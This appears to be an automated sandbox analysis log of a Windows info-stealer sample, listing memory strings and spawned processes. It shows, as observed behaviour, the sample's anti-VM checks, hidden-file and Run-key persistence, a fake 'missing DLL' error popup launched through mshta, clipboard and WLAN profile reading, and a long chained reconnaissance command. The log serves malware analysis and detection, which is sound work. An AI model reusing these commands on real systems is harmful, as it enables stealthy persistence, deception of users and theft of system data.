Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1970902588.000002DCD179E000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1957627500.000002DCD179E000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 0000004E.00000002.1790234355.000002674931A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DISPLAY_NAME: Hyper-V Remote Desktop Virtualization Service
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "vmtoolsd.exe"
Source: sc.exe, 0000004E.00000002.1790234355.000002674931A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SERVICE_NAME: vmicheartbeat
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1957627500.000002DCD179E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SERVICE_NAME: vmicvss
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1970902588.000002DCD179E000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1957627500.000002DCD179E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Requirements: VM Monitor Mode Extensions: No
Source: svchost.exe, 0000003B.00000002.2894003086.000001B77262B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "vmsrvc.exe"@
Source: NETSTAT.EXE, 0000004D.00000002.1789561551.0000016B17F99000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1957627500.000002DCD179E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SERVICE_NAME: vmicshutdown
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1735254245.000002DCD0DF6000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961094349.000002DCD14C1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1955400520.000002DCD1507000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1959010647.000002DCD0DB4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: hostNames = ['sandbox','cuckoo', 'vm', 'virtual', 'qemu', 'vbox', 'xen']
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwaretray.exe01
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "vmsrvc.exe"
Source: sc.exe, 0000004E.00000002.1790234355.000002674931A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WLAN AutoConfigWlanSvcWindows Insider ServicewisvcWindows Remote Management (WS-Management)WinRMWindows Management InstrumentationWinmgmtWinHTTP Web Proxy Auto-Discovery ServiceWinHttpAutoProxySvcMicrosoft Defender Antivirus ServiceWinDefendStill Image Acquisition EventsWiaRpcWi-Fi Direct Services Connection Manager ServiceWFDSConMgrSvcWindows Error Reporting ServiceWerSvcProblem Reports Control Panel SupportwercplsupportWindows Encryption Provider Host ServiceWEPHOSTSVCWindows Event CollectorWecsvcWebClientWebClientMicrosoft Defender Antivirus Network Inspection ServiceWdNisSvcDiagnostic System HostWdiSystemHostDiagnostic Service HostWdiServiceHostWindows Connect Now - Config RegistrarwcncsvcWindows Connection ManagerWcmsvcWindows Biometric ServiceWbioSrvcBlock Level Backup Engine ServicewbengineWarpJITSvcWarpJITSvcWalletServiceWalletServiceWindows TimeW32TimeVolume Shadow CopyVSSHyper-V Volume Shadow Copy RequestorvmicvssHyper-V PowerShell Direct ServicevmicvmsessionHyper-V Time Synchronization ServicevmictimesyncHyper-V Guest Shutdown ServicevmicshutdownHyper-V Remote Desktop Virtualization ServicevmicrdvHyper-V Data Exchange ServicevmickvpexchangeHyper-V Heartbeat Servicevmicheartbeat
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: b"vmware"P+
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "vmusrvc.exe"
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: qemu-ga.exe05
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "vmacthlp.exe", # VMware
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmsrvc.exep3
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "qemu-ga.exe"
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: if b'VMware' in stdout:
Source: HOSTNAME.EXE, 00000039.00000002.1748389262.000001AF608A9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll\\

Source: C:\Windows\System32\wbem\WMIC.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe

Code function: 0_2_00007FF72AA8B1B8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF72AA8B1B8

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe

Code function: 0_2_00007FF72AA940D0 GetProcessHeap,

0_2_00007FF72AA940D0

Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\NETSTAT.EXE	Process token adjusted: Debug
Source: C:\Windows\System32\NETSTAT.EXE	Process token adjusted: Debug

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Code function: 0_2_00007FF72AA8B1B8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF72AA8B1B8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Code function: 0_2_00007FF72AA7C88C SetUnhandledExceptionFilter,	0_2_00007FF72AA7C88C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Code function: 0_2_00007FF72AA7C6AC IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF72AA7C6AC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Code function: 0_2_00007FF72AA7BE20 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF72AA7BE20
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Code function: 81_2_00007FF6E3A7B1B8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	81_2_00007FF6E3A7B1B8
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Code function: 81_2_00007FF6E3A6C88C SetUnhandledExceptionFilter,	81_2_00007FF6E3A6C88C
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Code function: 81_2_00007FF6E3A6C6AC IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	81_2_00007FF6E3A6C6AC
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Code function: 81_2_00007FF6E3A6BE20 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	81_2_00007FF6E3A6BE20

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get Manufacturer"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "gdb --version"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path Win32_ComputerSystem get Manufacturer"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe""	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Exela Update Service" /t REG_SZ /d "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe" /f"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get Manufacturer	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path Win32_ComputerSystem get Manufacturer	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +h +s "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Exela Update Service" /t REG_SZ /d "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c chcp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c chcp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\HOSTNAME.EXE hostname
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic logicaldisk get caption,description,providername
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\query.exe query user
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net localgroup
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net localgroup administrators
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user guest
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user administrator
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic startup get caption,command
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /svc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /all
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ROUTE.EXE route print
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ARP.EXE arp -a
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\NETSTAT.EXE netstat -ano
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query type= service state= all
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh firewall show state
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh firewall show config
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user
Source: C:\Windows\System32\query.exe	Process created: C:\Windows\System32\quser.exe "C:\Windows\system32\quser.exe"
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 localgroup
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 localgroup administrators
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user guest
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user administrator
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "mshta "javascript:var sh=new activexobject('wscript.shell'); sh.popup('the program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. try reinstalling the program to fix this problem', 0, 'system error', 0+16);close()""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta "javascript:var sh=new activexobject('wscript.shell'); sh.popup('the program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. try reinstalling the program to fix this problem', 0, 'system error', 0+16);close()"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "echo ####system info#### & systeminfo & echo ####system version#### & ver & echo ####host name#### & hostname & echo ####environment variable#### & set & echo ####logical disk#### & wmic logicaldisk get caption,description,providername & echo ####user info#### & net user & echo ####online user#### & query user & echo ####local group#### & net localgroup & echo ####administrators info#### & net localgroup administrators & echo ####guest user info#### & net user guest & echo ####administrator user info#### & net user administrator & echo ####startup info#### & wmic startup get caption,command & echo ####tasklist#### & tasklist /svc & echo ####ipconfig#### & ipconfig/all & echo ####hosts#### & type c:\windows\system32\drivers\etc\hosts & echo ####route table#### & route print & echo ####arp info#### & arp -a & echo ####netstat#### & netstat -ano & echo ####service info#### & sc query type= service state= all & echo ####firewallinfo#### & netsh firewall show state & netsh firewall show config"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "mshta "javascript:var sh=new activexobject('wscript.shell'); sh.popup('the program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. try reinstalling the program to fix this problem', 0, 'system error', 0+16);close()""	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "echo ####system info#### & systeminfo & echo ####system version#### & ver & echo ####host name#### & hostname & echo ####environment variable#### & set & echo ####logical disk#### & wmic logicaldisk get caption,description,providername & echo ####user info#### & net user & echo ####online user#### & query user & echo ####local group#### & net localgroup & echo ####administrators info#### & net localgroup administrators & echo ####guest user info#### & net user guest & echo ####administrator user info#### & net user administrator & echo ####startup info#### & wmic startup get caption,command & echo ####tasklist#### & tasklist /svc & echo ####ipconfig#### & ipconfig/all & echo ####hosts#### & type c:\windows\system32\drivers\etc\hosts & echo ####route table#### & route print & echo ####arp info#### & arp -a & echo ####netstat#### & netstat -ano & echo ####service info#### & sc query type= service state= all & echo ####firewallinfo#### & netsh firewall show state & netsh firewall show config"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta "javascript:var sh=new activexobject('wscript.shell'); sh.popup('the program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. try reinstalling the program to fix this problem', 0, 'system error', 0+16);close()"

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe

Code function: 0_2_00007FF72AA9A420 cpuid

0_2_00007FF72AA9A420

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\aiohttp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\aiohttp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\aiohttp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\attrs-23.2.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\attrs-23.2.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\cryptography-42.0.5.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\cryptography-42.0.5.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\cryptography-42.0.5.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\cryptography-42.0.5.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\cryptography-42.0.5.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\cryptography-42.0.5.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\cryptography-42.0.5.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\cryptography-42.0.5.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602 VolumeInformation	Jump to behavior
